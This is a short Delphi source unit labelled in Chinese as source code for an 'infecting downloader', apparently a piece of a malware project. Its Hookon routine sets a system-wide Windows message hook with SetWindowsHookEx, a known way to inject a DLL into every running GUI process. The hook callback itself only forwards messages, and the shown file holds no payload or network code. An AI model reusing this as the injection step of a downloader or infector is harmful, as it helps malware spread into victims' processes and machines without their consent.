hs.pas

感染下载者源码 感染下载者源码 感染下载者源码

unit  Hs;

interface

procedure Hookon;
procedure Hookoff;

implementation

uses
  Windows;

var
  JumpHookHandle: DWORD;
  
function JumpHookPro(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
  Result:= CallNextHookEx(JumpHookHandle, nCode, wParam, lParam);  
end;

procedure Hookon;
begin
  JumpHookHandle := SetWindowsHookEx(WH_getmessage, @JumpHookPro, HInstance, 0);
end;

procedure Hookoff;
begin
  UnHookWindowsHookEx(JumpHookHandle);
end;

end.